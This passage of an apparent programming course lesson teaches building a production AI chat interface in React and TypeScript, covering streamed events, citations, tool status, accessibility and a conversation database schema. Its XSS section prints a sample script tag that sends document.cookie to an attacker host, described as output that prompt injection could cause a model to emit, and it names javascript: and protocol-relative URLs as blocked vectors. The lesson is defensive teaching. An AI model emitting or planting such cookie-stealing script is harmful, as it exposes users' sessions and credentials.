Module 11: Production AI Interfaces & Multi-Tenant SaaS Lesson 30 / 41
45–50 min read Level: Advanced
Part 4 — AI Backend & Workflow Engineering

Lesson 16.30: Building Production AI Interfaces

React/TypeScript Chat UI, Streaming UX, Citations, Tool Status, Error States, and Conversation Experience — moving far beyond trivial chat bubbles to build transparent, secure, resilient, and accessible enterprise AI interfaces.

What You Will Learn

  • 1. Construct reusable enterprise AI chat interfaces using React and strict TypeScript.
  • 2. Manage conversation state and granular message lifecycles (streaming/complete/interrupted).
  • 3. Ingest streamed SSE tokens from backend and execute smooth incremental UI re-renders.
  • 4. Surface multi-stage AI agent tool execution and intermediate progress indicators transparently.
  • 5. Render verified source citations and document excerpts for grounded RAG completions.
  • 6. Implement stop generation controls, deterministic retries, and network drop recovery.
  • 7. Guarantee keyboard shortcuts (IME composition safe) and screen reader accessibility (a11y).
  • 8. Defensively sanitize Markdown, code blocks, and external links against XSS vulnerabilities.
  • 9. Enforce strict, typed streaming event contracts between FastAPI backend and React frontend.
  • 10. Architect server-side conversation persistence and client-server ID reconciliation.
  • 11. Implement smart auto-scroll management and high-frequency token batching performance.
  • 12. Audit a 12-point enterprise production readiness checklist before shipping.

01 Production Reality: Moving Beyond the Simple Chat Bubble

In previous lessons, we established an enterprise-grade backend foundation: clean layered FastAPI architecture (Lesson 27), resilient Celery and Redis distributed task queues (Lesson 28), and Server-Sent Events (SSE) token streaming with cryptographic webhooks (Lesson 29). Now, we must pair that authoritative backend with a production frontend interface designed for mission-critical enterprise workflows.

A widespread engineering misconception is that an AI chat interface consists merely of a text input box and two alternating colored speech bubbles (user on right, assistant on left). In production enterprise software, that naive abstraction instantly collapses:

The Naive Chat Bubble Trap

If a financial analyst submits a complex multi-turn query and the frontend presents only an opaque waiting spinner followed by a monolithic wall of text, the user is left in the dark: Is the AI actively searching indexed vector databases or has the HTTP socket hung? What verified policy documents back up the factual assertions? Is the response complete or was it truncated midway by a cellular network drop? And if the user hits “Stop”, does the client simply drop UI updates while backend inference meters continue burning billing tokens?

A production-grade AI interface carries five non-negotiable core responsibilities:

1. Process Transparency (Tool Status)

Exposing intermediate agent execution stages (vector search, database lookup, calculation) in real-time so the user understands that progress is occurring.

2. Source Provenance (Citations)

Attributing factual RAG claims to verified document titles, policy sections, and authorized hyperlinks either inline or in a structured provenance list.

3. Granular Error & Recovery

Distinguishing network drops (interrupted) from model errors (failed) and user aborts (cancelled), preserving prompt drafts for one-click retry.

4. Dual ID & Persistence Reconciliation

Reconciling optimistic client UUIDs with authoritative server IDs to allow seamless browser reloads, audit logging, and cross-device conversation restoration.

Our goal today is to architect a highly modular, reusable AI chat interface ready to power Byteion Knowledge Assistant, ERP Copilot, and Legal Document Analyzer.

02 End-to-End AI Interface Architecture & Boundary of Authority

In a secure enterprise architecture, boundaries between frontend presentation and backend authority must remain strictly enforced:

┌────────────────────────────────────────────────────────────────────────┐ │ React / TypeScript Client │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌────────────┐ │ │ │ ChatComposer │ │ MessageList │ │ ToolActivity │ │ Citations │ │ │ └──────┬───────┘ └──────▲───────┘ └──────▲───────┘ └─────▲──────┘ │ │ │ │ │ │ │ │ │ ┌──────┴─────────────────┴────────────────┴──────┐ │ │ │ │ useChat() Hook & Event Stream Reducer │ │ │ │ └────────────────────────▲───────────────────────┘ │ └─────────┼───────────────────────────────────┼──────────────────────────┘ │ POST /v1/answers/stream │ SSE (text/event-stream) │ (Bearer JWT Auth) │ [token, tool, citation, complete] ▼ │ ┌─────────────────────────────────────────────┴──────────────────────────┐ │ FastAPI Backend │ │ │ │ • JWT Authentication & Tenant Scope Context │ │ • AI Provider Streaming Proxy (OpenAI Responses API / Anthropic) │ │ • Tool Execution Runtime & Sanitized Event Dispatcher │ │ • Canonical PostgreSQL Persistence (Conversations, Messages, Metrics) │ └────────────────────────────────────────────────────────────────────────┘
Golden Architectural Rule (Authoritative Separation): The frontend is strictly the Presentation & Interaction Layer; the backend is the authoritative layer for Authorization, Security & Business Invariants.

The frontend orchestrates user experience, fluid animations, form validation, and local draft buffers. However, tenant isolation, tool execution permissions, token usage quotas, and access permissions to sensitive documents must never be delegated to client-side assumptions.

03 Part A: Message Anatomy & The Finite State Machine Lifecycle

In traditional messaging apps, a message is simply { role: "user", content: "..." }. In an enterprise AI system, an assistant message is an authoritative, multi-faceted payload:

{ "id": "msg_9041a", "role": "assistant", "content": "The Q3 audit report identifies three major liquidity risks...", "status": "complete", "citations": [ { "id": "cite_1", "title": "Corporate Treasury Policy v4.2", "url": "https://docs.byteion.internal/policies/treasury-v4.2.pdf", "excerpt": "Minimum operating liquidity reserve must exceed 18% of monthly burn." } ], "toolActivities": [ { "id": "act_1", "label": "Searching Qdrant knowledge vector index", "status": "completed" }, { "id": "act_2", "label": "Extracting balance sheet figures via OCR", "status": "completed" } ], "createdAt": "2026-10-16T11:45:00.000Z" }

The most crucial architectural element is the Message Lifecycle State Machine. An assistant message must never be represented by a blunt binary loading: true/false flag. It traverses distinct non-terminal and terminal states:

created (Assistant placeholder mounted in transcript) ↓ streaming (Incremental token delivery & tool event dispatch) ├── complete → Model finished successfully; server emitted 'completed' event ├── failed → Backend raised an error or provider stream failed ├── interrupted → Network dropped or socket closed before 'completed' event └── cancelled → User explicitly clicked “Stop Generating”

Why is granular status differentiation critical?

  • When a user explicitly halts generation (cancelled), the UI must not flash a red error banner, but smoothly note “Generation stopped by user”.
  • When a mobile client experiences cellular handover (interrupted), the partially streamed paragraphs must be preserved, offering a clean “Connection interrupted — Retry” CTA.
  • When the backend returns a 429 Rate Limit (failed), a distinct error card with backoff indicators should guide the user.

04 TypeScript Domain Models: types.ts

We establish a strict, type-safe contract in src/features/chat/types.ts:


// src/features/chat/types.ts

export type MessageRole = "user" | "assistant";

export type MessageStatus =
  | "streaming"
  | "complete"
  | "failed"
  | "interrupted"
  | "cancelled";

export type ToolStatus =
  | "queued"
  | "running"
  | "completed"
  | "failed";

export type Citation = {
  id: string;
  title: string;
  url: string;
  excerpt?: string;
};

export type ToolActivity = {
  id: string;
  label: string;
  status: ToolStatus;
};

export type ChatMessage = {
  id: string;
  role: MessageRole;
  content: string;
  status?: MessageStatus;
  citations: Citation[];
  toolActivities: ToolActivity[];
  createdAt: string;
};

export type ChatStatus =
  | "idle"
  | "streaming"
  | "failed"
  | "interrupted"
  | "cancelled";

Notice the key architectural distinction: ChatStatus models the global interaction state of the entire conversation session (Is the composer disabled? Should the Stop button appear?), whereas MessageStatus isolates the lifecycle of a specific individual assistant response. This separation unlocks robust multi-message retries and seamless conversation switching.

05 Part B: Conversation State Management & Reducer Transitions

During active streaming inference, the client can receive 15 to 50 token events every second, alongside concurrent tool activity badges and provenance citations.

Managing this high-frequency stream with fragmented useState variables inevitably produces race conditions, dropped frames, and stale closures. A structured state transition pipeline is required:

ADD_USER_MESSAGE ↓ START_ASSISTANT_MESSAGE (placeholder id generated) ↓ STREAMING EVENTS ├── APPEND_TOKEN → message.content += data.text ├── ADD_CITATION → deduplicate and append source reference ├── UPDATE_TOOL_STATUS → upsert tool activity by id (queued/running/completed) ├── COMPLETE_STREAM → status = 'complete', session = 'idle' ├── FAIL_STREAM → status = 'failed', capture error message ├── INTERRUPT_STREAM → status = 'interrupted', preserve partial text └── CANCEL_STREAM → status = 'cancelled', halt socket

The reducer pattern guarantees that incoming wire events pass through deterministic pure functions, making behavior easily verifiable via unit tests and eliminating accidental UI state desynchronization.

06 Production Project Structure: Modular Component Architecture

Rather than piling all state and UI logic into a single monolithic component, we adhere to Byteion's enterprise feature-folder structure:

src/ ├── features/ │ └── chat/ │ ├── components/ │ │ ├── ChatMessage.tsx # Message card, tools, citations, status indicators │ │ ├── ChatComposer.tsx # Auto-resizing textarea with keyboard shortcuts │ │ ├── CitationList.tsx # Grounded source chips with verified hrefs │ │ ├── ToolActivityList.tsx # Active/completed agent tool status badges │ │ └── ChatStatusBar.tsx # Accessible live region and retry controls │ ├── hooks/ │ │ └── useChat.ts # Authenticated streaming and state transition hook │ ├── lib/ │ │ └── stream.ts # Chunk-boundary safe SSE consumer │ ├── types.ts # Shared TypeScript domain contracts │ └── ChatPage.tsx # Feature layout container component ├── lib/ │ └── api-client.ts # Bearer auth and base URL fetch wrapper └── App.tsx # Application root entrypoint

This modular layout enables independent component unit testing, prevents cross-module leakage, and allows seamless integration into diverse design systems.

07 Part C: Streaming Event Contract Between Backend & Frontend

The foundation of reliable real-time communication is an authoritative, versioned event contract. Provider-specific wire frames are normalized by the backend into stable domain events:

SSE Event Name JSON Payload Structure Frontend UI Reaction
token {"text": "The audit..."} Appends newly arrived token chunk to assistant message text.
tool_status {"id": "a1", "label": "Searching Qdrant", "status": "running"} Creates new tool activity badge or transitions existing state.
citation {"id": "c1", "title": "Policy", "url": "https://...", "excerpt": "..."} Deduplicates by ID and appends source card to message footer.
completed {"message_id": "msg_904", "status": "completed"} Transitions message to complete and restores session to idle.
error {"code": "provider_timeout", "message": "Failed", "retryable": true} Marks message failed and mounts contextual retry button.
Strict Security Rule (Zero Privileged Leakage): The backend must never emit raw SQL queries, customer credentials, internal container IPs, or other tenants' data inside tool_status. Only scrubbed, human-readable labels (e.g. “Validating invoice details”) are permitted.

08 Part D: Network Chunks vs. SSE Events — The consumeSSE() Stream Reader

A frequent architectural flaw in naive streaming implementations is equating an incoming TCP network chunk directly to an authoritative SSE wire event.

The TCP Packet Fragmentation Paradox

Suppose the backend dispatches two distinct semantic frames:
event: token data: {"text":"Hello"}
event: token data: {"text":" world"}
Due to network buffering or MTU boundaries, the browser's reader.read() may yield fragmented bytes:
Chunk 1: event: token data: {"te
Chunk 2: xt":"Hello"} event: token data: {"text":" world"}

Calling JSON.parse() naively on Chunk 1 throws a catastrophic syntax exception. A robust parser must reassemble byte streams across frame boundaries.

We utilize the battle-tested eventsource-parser library to implement our defensive consumer in src/features/chat/lib/stream.ts:


// src/features/chat/lib/stream.ts
import {
  createParser,
  type EventSourceMessage,
} from "eventsource-parser";

export type ChatStreamEvent = {
  type: string;
  data: Record<string, unknown>;
  id?: string;
};

export async function consumeSSE(
  response: Response,
  onEvent: (event: ChatStreamEvent) => void,
): Promise<void> {
  if (!response.ok) {
    throw new Error(`HTTP request failed with status: ${response.status}`);
  }
  if (!response.body) {
    throw new Error("Streaming response body is unavailable on this platform.");
  }

  const reader = response.body.getReader();
  const decoder = new TextDecoder("utf-8");

  const parser = createParser({
    onEvent(event: EventSourceMessage) {
      let parsedData: unknown;
      try {
        parsedData = JSON.parse(event.data);
      } catch {
        throw new Error("Server emitted non-JSON SSE payload.");
      }

      if (
        typeof parsedData !== "object" ||
        parsedData === null ||
        Array.isArray(parsedData)
      ) {
        throw new Error("Invalid event payload: expected JSON object.");
      }

      onEvent({
        type: event.event || "message",
        data: parsedData as Record<string, unknown>,
        id: event.id,
      });
    },
  });

  try {
    while (true) {
      const { value, done } = await reader.read();
      if (done) {
        parser.feed(decoder.decode()); // Flush trailing bytes
        break;
      }
      parser.feed(decoder.decode(value, { stream: true }));
    }
  } finally {
    reader.releaseLock();
  }
}

The responsibility of consumeSSE() is strictly isolated: it converts raw TCP byte chunks into validated domain events. It maintains zero knowledge of chat states or UI lifecycles, ensuring complete architectural reusability.

09 Part E: Crafting the Reusable useChat() Hook

We now encapsulate all network orchestration, state transitions, and error recovery into an ergonomic custom hook in src/features/chat/hooks/useChat.ts:


// src/features/chat/hooks/useChat.ts
import { useRef, useState } from "react";
import { consumeSSE } from "../lib/stream";
import type {
  ChatMessage,
  ChatStatus,
  Citation,
  ToolActivity,
} from "../types";

function createAssistantMessage(id: string): ChatMessage {
  return {
    id,
    role: "assistant",
    content: "",
    status: "streaming",
    citations: [],
    toolActivities: [],
    createdAt: new Date().toISOString(),
  };
}

export function useChat(accessToken: string) {
  const [messages, setMessages] = useState<ChatMessage[]>([]);
  const [status, setStatus] = useState<ChatStatus>("idle");
  const [error, setError] = useState<string | null>(null);

  const controllerRef = useRef<AbortController | null>(null);
  const lastPromptRef = useRef<string | null>(null);

  function updateAssistant(
    messageId: string,
    update: (message: ChatMessage) => ChatMessage,
  ) {
    setMessages((prev) =>
      prev.map((msg) => (msg.id === messageId ? update(msg) : msg)),
    );
  }

  async function runPrompt(prompt: string, addUserMessage: boolean): Promise<void> {
    if (controllerRef.current) return; // Prevent concurrent double submissions

    const assistantId = crypto.randomUUID();
    const controller = new AbortController();
    controllerRef.current = controller;
    lastPromptRef.current = prompt;

    if (addUserMessage) {
      const userMessage: ChatMessage = {
        id: crypto.randomUUID(),
        role: "user",
        content: prompt,
        citations: [],
        toolActivities: [],
        createdAt: new Date().toISOString(),
      };
      setMessages((prev) => [...prev, userMessage, createAssistantMessage(assistantId)]);
    } else {
      setMessages((prev) => [...prev, createAssistantMessage(assistantId)]);
    }

    setError(null);
    setStatus("streaming");
    let completed = false;

    try {
      const response = await fetch("/v1/answers/stream", {
        method: "POST",
        headers: {
          "Content-Type": "application/json",
          Authorization: `Bearer ${accessToken}`,
        },
        body: JSON.stringify({ prompt }),
        signal: controller.signal,
      });

      await consumeSSE(response, (event) => {
        const data = event.data;

        // 1. Token Event: Append text progressively
        if (event.type === "token" && typeof data.text === "string") {
          updateAssistant(assistantId, (msg) => ({
            ...msg,
            content: msg.content + data.text,
          }));
        }

        // 2. Citation Event: Deduplicate and store source metadata
        if (event.type === "citation") {
          if (
            typeof data.id === "string" &&
            typeof data.title === "string" &&
            typeof data.url === "string"
          ) {
            const citation: Citation = {
              id: data.id,
              title: data.title,
              url: data.url,
              excerpt: typeof data.excerpt === "string" ? data.excerpt : undefined,
            };
            updateAssistant(assistantId, (msg) => ({
              ...msg,
              citations: msg.citations.some((c) => c.id === citation.id)
                ? msg.citations
                : [...msg.citations, citation],
            }));
          }
        }

        // 3. Tool Status Event: Upsert intermediate agent stage
        if (event.type === "tool_status") {
          if (
            typeof data.id === "string" &&
            typeof data.label === "string" &&
            typeof data.status === "string"
          ) {
            const activity: ToolActivity = {
              id: data.id,
              label: data.label,
              status: data.status as ToolActivity["status"],
            };
            updateAssistant(assistantId, (msg) => ({
              ...msg,
              toolActivities: [
                ...msg.toolActivities.filter((a) => a.id !== activity.id),
                activity,
              ],
            }));
          }
        }

        // 4. Completed Event: Mark message successful
        if (event.type === "completed") {
          completed = true;
          updateAssistant(assistantId, (msg) => ({ ...msg, status: "complete" }));
          setStatus("idle");
        }

        // 5. Error Event: Surface structured model exception
        if (event.type === "error") {
          throw new Error(
            typeof data.message === "string" ? data.message : "AI model request failed.",
          );
        }
      });

      // Handshake Invariant: If stream closed without completed event, mark interrupted
      if (!completed) {
        updateAssistant(assistantId, (msg) => ({ ...msg, status: "interrupted" }));
        setStatus("interrupted");
      }
    } catch (cause) {
      if (controller.signal.aborted) {
        updateAssistant(assistantId, (msg) => ({ ...msg, status: "cancelled" }));
        setStatus("cancelled");
      } else {
        const errorMsg = cause instanceof Error ? cause.message : "An unexpected failure occurred.";
        updateAssistant(assistantId, (msg) => ({ ...msg, status: "failed" }));
        setError(errorMsg);
        setStatus("failed");
      }
    } finally {
      if (controllerRef.current === controller) {
        controllerRef.current = null;
      }
    }
  }

  function sendMessage(prompt: string) {
    const trimmed = prompt.trim();
    if (!trimmed || controllerRef.current) return;
    void runPrompt(trimmed, true);
  }

  function stopGeneration() {
    controllerRef.current?.abort();
  }

  function retryLastMessage() {
    const prompt = lastPromptRef.current;
    if (!prompt || controllerRef.current) return;

    // Prune the failed/interrupted assistant bubble before retry
    setMessages((prev) =>
      prev.filter(
        (msg) =>
          !(
            msg.role === "assistant" &&
            (msg.status === "failed" ||
              msg.status === "interrupted" ||
              msg.status === "cancelled")
          ),
      ),
    );
    void runPrompt(prompt, false);
  }

  return {
    messages,
    status,
    error,
    sendMessage,
    stopGeneration,
    retryLastMessage,
  };
}

Key architectural achievements of this hook:

  • The controllerRef.current guard completely blocks concurrent duplicate submissions even under rapid Enter clicks.
  • retryLastMessage() cleanly prunes the failed assistant bubble before re-executing, preserving conversation symmetry without duplicating the user's prompt.
  • If the TCP socket closes before an explicit completed event arrives, the status automatically falls back to interrupted, preventing false success states.

10 Part F: Assembling the Chat UI Component (ChatPage.tsx)

We wire our custom hook into a fully responsive, accessible, and polished user interface in src/features/chat/ChatPage.tsx:


// src/features/chat/ChatPage.tsx
import React, { useState } from "react";
import { useChat } from "./hooks/useChat";
import type { ChatMessage } from "./types";

type Props = {
  accessToken: string;
};

export function safeCitationHref(rawUrl: string): string | null {
  // Allow root-relative paths but reject protocol-relative (//) bypasses
  if (rawUrl.startsWith("/") && !rawUrl.startsWith("//")) {
    return rawUrl;
  }
  try {
    const parsed = new URL(rawUrl);
    if (parsed.protocol === "https:" || parsed.protocol === "http:") {
      return parsed.href;
    }
  } catch {
    // Malformed URL string
  }
  return null;
}

function MessageView({ message }: { message: ChatMessage }) {
  const isUser = message.role === "user";

  return (
    <article
      className={`rounded-2xl p-4 my-3 text-xs transition-all ${
        isUser
          ? "bg-cyan-500/10 border border-cyan-500/20 ml-8 text-foreground"
          : "bg-card border border-border mr-8 text-foreground"
      }`}
      aria-label={isUser ? "Your message" : "AI assistant response"}
    >
      <div className="flex items-center justify-between mb-2 pb-1 border-b border-border/50 text-[11px] text-muted-foreground">
        <span className="font-bold flex items-center gap-1.5">
          <i className={isUser ? "ti ti-user" : "ti ti-robot text-cyan-500"} />
          {isUser ? "You" : "Byteion AI Assistant"}
        </span>
        <time className="font-mono">{new Date(message.createdAt).toLocaleTimeString()}</time>
      </div>

      {/* Tool Execution Badges */}
      {message.toolActivities.length > 0 && (
        <ul className="space-y-1 mb-3" aria-label="Tool execution progress">
          {message.toolActivities.map((act) => (
            <li
              key={act.id}
              className="inline-flex items-center gap-1.5 rounded-md px-2 py-0.5 bg-muted/60 text-[11px] font-mono mr-2 text-muted-foreground"
            >
              {act.status === "running" && <i className="ti ti-loader animate-spin text-cyan-500" />}
              {act.status === "completed" && <i className="ti ti-check text-emerald-500" />}
              {act.status === "failed" && <i className="ti ti-x text-rose-500" />}
              <span>{act.label}</span>
            </li>
          ))}
        </ul>
      )}

      {/* Main Text Content */}
      <div className="leading-relaxed whitespace-pre-wrap font-sans">
        {message.content ||
          (message.status === "streaming" && (
            <span className="text-muted-foreground italic flex items-center gap-1">
              <i className="ti ti-cursor-text animate-pulse" /> Generating response...
            </span>
          ))}
      </div>

      {/* Grounded RAG Citations */}
      {message.citations.length > 0 && (
        <section className="mt-4 pt-3 border-t border-border/60" aria-label="Sources">
          <h4 className="text-[11px] font-bold text-muted-foreground uppercase tracking-wider mb-2 flex items-center gap-1">
            <i className="ti ti-files" /> Verified Sources
          </h4>
          <ol className="grid grid-cols-1 sm:grid-cols-2 gap-2">
            {message.citations.map((cite, idx) => {
              const safeHref = safeCitationHref(cite.url);
              return (
                <li
                  key={cite.id}
                  className="rounded-lg border border-border bg-muted/20 p-2 text-[11px] hover:border-cyan-500/40 transition-colors"
                >
                  <div className="font-bold flex items-center gap-1">
                    <span className="text-cyan-500">[{idx + 1}]</span>
                    {safeHref ? (
                      <a
                        href={safeHref}
                        target="_blank"
                        rel="noopener noreferrer"
                        className="hover:underline text-foreground"
                      >
                        {cite.title}
                      </a>
                    ) : (
                      <span className="text-muted-foreground">{cite.title}</span>
                    )}
                  </div>
                  {cite.excerpt && (
                    <p className="text-muted-foreground text-[10px] mt-1 line-clamp-2 italic">
                      &ldquo;{cite.excerpt}&rdquo;
                    </p>
                  )}
                </li>
              );
            })}
          </ol>
        </section>
      )}

      {/* Terminal Status Banners */}
      {message.status === "failed" && (
        <div className="mt-3 p-2 rounded-lg bg-rose-500/10 text-rose-500 text-[11px] flex items-center gap-1.5" role="status">
          <i className="ti ti-alert-circle" /> This response encountered a model failure.
        </div>
      )}
      {message.status === "interrupted" && (
        <div className="mt-3 p-2 rounded-lg bg-amber-500/10 text-amber-500 text-[11px] flex items-center gap-1.5" role="status">
          <i className="ti ti-wifi-off" /> The stream connection was terminated prematurely.
        </div>
      )}
      {message.status === "cancelled" && (
        <div className="mt-3 p-2 rounded-lg bg-muted text-muted-foreground text-[11px] flex items-center gap-1.5" role="status">
          <i className="ti ti-player-stop" /> Generation halted by user.
        </div>
      )}
    </article>
  );
}

export function ChatPage({ accessToken }: Props) {
  const [draft, setDraft] = useState("");
  const { messages, status, error, sendMessage, stopGeneration, retryLastMessage } =
    useChat(accessToken);

  function handleSubmit() {
    const trimmed = draft.trim();
    if (!trimmed || status === "streaming") return;
    sendMessage(trimmed);
    setDraft("");
  }

  return (
    <main className="max-w-3xl mx-auto flex flex-col h-[750px] rounded-2xl border border-border bg-card shadow-sm overflow-hidden">
      {/* Header */}
      <header className="px-5 py-3.5 border-b border-border bg-muted/20 flex items-center justify-between">
        <div>
          <h2 className="text-sm font-bold text-foreground">Byteion Knowledge Assistant</h2>
          <p className="text-[11px] text-muted-foreground">Ask questions grounded in enterprise data.</p>
        </div>
        <div className="flex items-center gap-2">
          <span
            className={`h-2 w-2 rounded-full ${
              status === "streaming" ? "bg-cyan-500 animate-ping" : "bg-emerald-500"
            }`}
          />
          <span className="text-[11px] font-mono capitalize text-muted-foreground">{status}</span>
        </div>
      </header>

      {/* Conversation Transcript */}
      <div className="flex-1 overflow-y-auto p-4 space-y-2" aria-label="Conversation history">
        {messages.length === 0 ? (
          <div className="h-full flex flex-col items-center justify-center text-center text-muted-foreground text-xs p-6">
            <i className="ti ti-message-dots text-3xl mb-2 text-cyan-500/50" />
            <p className="font-semibold text-foreground">No conversation yet</p>
            <p className="text-[11px] max-w-sm mt-1">
              Ask questions regarding company policies, financial reports, or code repositories.
            </p>
          </div>
        ) : (
          messages.map((msg) => <MessageView key={msg.id} message={msg} />)
        )}
      </div>

      {/* Accessible Live Region */}
      <p className="sr-only" role="status" aria-live="polite">
        {status === "streaming"
          ? "AI assistant is generating response."
          : status === "failed"
          ? "AI assistant request failed."
          : status === "interrupted"
          ? "AI response stream was interrupted."
          : status === "cancelled"
          ? "AI response generation was stopped."
          : ""}
      </p>

      {/* Global Error Alert & Retry Action */}
      {error && (
        <div className="mx-4 mb-2 p-2.5 rounded-xl border border-rose-500/30 bg-rose-500/10 flex items-center justify-between text-xs text-rose-500" role="alert">
          <span className="flex items-center gap-1.5">
            <i className="ti ti-alert-triangle" /> {error}
          </span>
          <button
            type="button"
            onClick={retryLastMessage}
            className="px-2.5 py-1 rounded-lg bg-rose-600 text-white font-bold hover:bg-rose-700 transition-colors text-[11px]"
          >
            Retry Question
          </button>
        </div>
      )}

      {/* Composer Input Form */}
      <form
        onSubmit={(e) => {
          e.preventDefault();
          handleSubmit();
        }}
        className="p-3.5 border-t border-border bg-background"
      >
        <div className="relative rounded-xl border border-border bg-card focus-within:border-cyan-500 transition-colors">
          <textarea
            value={draft}
            onChange={(e) => setDraft(e.target.value)}
            onKeyDown={(e) => {
              // Submit on Enter unless Shift is held or IME composition is active (e.g. Bengali typing)
              if (e.key === "Enter" && !e.shiftKey && !e.nativeEvent.isComposing) {
                e.preventDefault();
                handleSubmit();
              }
            }}
            placeholder="Ask a question about your documents... (Press Enter to send)"
            rows={2}
            className="w-full resize-none bg-transparent p-3 text-xs outline-none text-foreground placeholder:text-muted-foreground"
          />
          <div className="flex items-center justify-between px-3 py-2 border-t border-border/40 text-[11px] text-muted-foreground">
            <span>Shift + Enter for new line</span>
            {status === "streaming" ? (
              <button
                type="button"
                onClick={stopGeneration}
                className="inline-flex items-center gap-1 rounded-lg bg-rose-600 px-3 py-1.5 text-xs font-bold text-white hover:bg-rose-700 transition-colors"
              >
                <i className="ti ti-player-stop" /> Stop Generating
              </button>
            ) : (
              <button
                type="submit"
                disabled={!draft.trim()}
                className="inline-flex items-center gap-1 rounded-lg bg-cyan-600 px-3 py-1.5 text-xs font-bold text-white hover:bg-cyan-700 disabled:opacity-50 disabled:cursor-not-allowed transition-colors"
              >
                <span>Send</span> <i className="ti ti-send" />
              </button>
            )}
          </div>
        </div>
      </form>
    </main>
  );
}
Defensive Citation URL Validation (safeCitationHref)

Notice how safeCitationHref() thwarts malicious injection vectors such as javascript:alert(1) or data:text/html. It also neutralizes protocol-relative URL bypasses (//evil.com), strictly permitting only verified https: schemes and root-relative application routes (/docs/...).

12 Part G: Production AI UX — Why Showing Mere “Loading...” Fails

In traditional CRUD software, a generic loading spinner suffices because database round-trips resolve in milliseconds. In enterprise AI workflows, complex agentic reasoning chains can span anywhere from 5 to 60 seconds.

Leaving users staring at an opaque spinner breeds immediate suspicion of system failure. A production interface mandates explicit semantic feedback across every operational phase:

Internal Workflow State Visible UI Badge & Micro-Copy Cognitive User Value (UX Reality)
Idle / Ready “Ask a question about your documents...” Clear visual affordance that the system is unblocked and responsive.
Request Ingested Analyzing intent... Confirms socket arrival and prompt parsing without thread freeze.
Vector Retrieval Searching knowledge index... User recognizes external knowledge grounding is currently underway.
Tool Executing Validating invoice calculation... Explicit indicator that deterministic background compute is running.
Token Streaming Live token rendering Zero perceived latency; immediate cognitive engagement from first token.
Completed ✓ Final response with verified sources Definitive closure; allows factual audit of claims against citations.
Interrupted Connection dropped midway — [Retry] Preserves partial paragraphs while providing a one-click recovery CTA.
Catastrophic Anti-Pattern: Fabricated Progress Percentages

Because total LLM generation length is non-deterministic, displaying estimated percentage meters (20% → 50% → 85%) is deeply misleading. When inference halts at 85% during multi-step tool calls, users assume the system has crashed. Where mathematical determinism is impossible, replacing numerical percentages with explicit semantic stage badges is the enterprise standard.

13 Part H: Streaming UX — Smart Scroll, Micro-Batching & Stop Control

Maintaining high-fidelity perceived performance during real-time token delivery requires three architectural implementations:

1. Smart Auto-Scroll Management

As incoming tokens expand message height, the viewport should smoothly scroll down. However, if the user scrolls upward to cross-examine an earlier turn, forcibly snapping their viewport downward destroys user trust.

const isUserAtBottom = container.scrollHeight - container.scrollTop - container.clientHeight < 80;
if (isUserAtBottom) { container.scrollTo({ top: container.scrollHeight, behavior: 'smooth' }); }

2. High-Frequency Token Micro-Batching

High-throughput providers (e.g. Groq or Claude 3.5 Sonnet) can emit 60+ tokens per second. Firing React state updates per individual token overwhelms the virtual DOM reconciler, causing jank. Accumulating tokens into a 50ms buffer flushed via requestAnimationFrame delivers 60fps fluidity.

3. Cancellation & Prompt Preservation

If an inference request aborts or fails due to network termination, the user's drafted query must never vanish into the ether. Re-populating the composer with the original prompt on failure eliminates painful retyping.

14 Part I: Citations, Grounding & RAG Transparency

Enterprise decision-makers require verifiable provenance. Suppose the model asserts: “Customers are entitled to cancel within 14 business days.” Compliance auditors demand to verify exactly which legal policy file backs up that assertion.

Method 1: Footer Source Provenance List

Consolidates all referenced knowledge documents at the base of the assistant bubble. Straightforward to implement and offers an immediate macroscopic audit overview.

Method 2: Inline Numeric Citation Markers

Pairs individual sentence claims directly with clickable [1], [2] chips. Hovering mounts an excerpt popover directly over the referenced claim.

Grounding Invariant: Never trust hallucinated citation identifiers emitted spontaneously by generative LLMs. Citation records must originate strictly from authoritative backend vector stores and authorized document registries.

15 Part J: Model Output Rendering Security & XSS Defense

Raw generative AI completions must be treated as untrusted external user input:

Critical Vulnerability: dangerouslySetInnerHTML

<div dangerouslySetInnerHTML={{ __html: aiResponse }} /> // Extreme Security Hazard!

If indirect prompt injection causes the model to output <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>, raw HTML rendering executes cross-site scripting (XSS), causing complete credential compromise.

A four-tier defense-in-depth sanitization protocol is mandatory:

  1. Strict Markdown Sanitization: Pair react-markdown with rehype-sanitize to strip executable script tags and dangerous event handlers.
  2. Scheme Whitelisting: Reject all schemes except verified http: and https:; aggressively neutralize javascript:, vbscript:, and data: URIs.
  3. Link Isolation: Enforce target="_blank" alongside rel="noopener noreferrer" to protect window opener contexts.
  4. Sandboxed Code Presentation: Render syntax-highlighted code inside inert, pre-formatted read-only containers.

16 Part K: Accessibility (a11y) & Screen Reader Engineering

Without deliberate architectural accommodation, a streaming chat interface is completely unusable for screen reader users.

The Live Region Chatter Trap

Applying aria-live="polite" across the active transcript container causes screen readers to announce fragmented token bursts 20 times per second, rendering the synthesizer unintelligible and freezing assistive technologies.

The enterprise solution is Dual Region Separation:

  • Transcript Container: Set to aria-live="off", allowing users to navigate and inspect completed paragraphs at their own reading pace.
  • Dedicated Polite Announcer: A hidden <p className="sr-only" role="status" aria-live="polite"> region emitting milestone announcements only (“Generating” → “Completed” → “Stopped”).
  • IME Composition Safety: Testing event.nativeEvent.isComposing prevents accidental form submissions during multi-keystroke phonetic scripts (e.g. Bengali typing).

17 Part L: Server-Side Conversation Persistence & PostgreSQL Schemas

Client-side React memory is strictly transient. In a production enterprise ecosystem, conversation threads must seamlessly persist across browser reloads, network reconnects, and cross-device handoffs.

The canonical relational schema implemented in PostgreSQL is defined below:


-- Canonical Database Schema for AI Conversation Management
CREATE TABLE conversations (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    tenant_id UUID NOT NULL,
    user_id UUID NOT NULL,
    title VARCHAR(255) NOT NULL DEFAULT 'New Conversation',
    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
);

CREATE INDEX idx_conversations_tenant_user 
    ON conversations (tenant_id, user_id, updated_at DESC);

CREATE TABLE conversation_messages (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    conversation_id UUID NOT NULL REFERENCES conversations(id) ON DELETE CASCADE,
    role VARCHAR(20) NOT NULL CHECK (role IN ('user', 'assistant', 'system')),
    content TEXT NOT NULL,
    status VARCHAR(30) NOT NULL DEFAULT 'complete' 
        CHECK (status IN ('streaming', 'complete', 'failed', 'interrupted', 'cancelled')),
    sequence_number BIGINT NOT NULL,
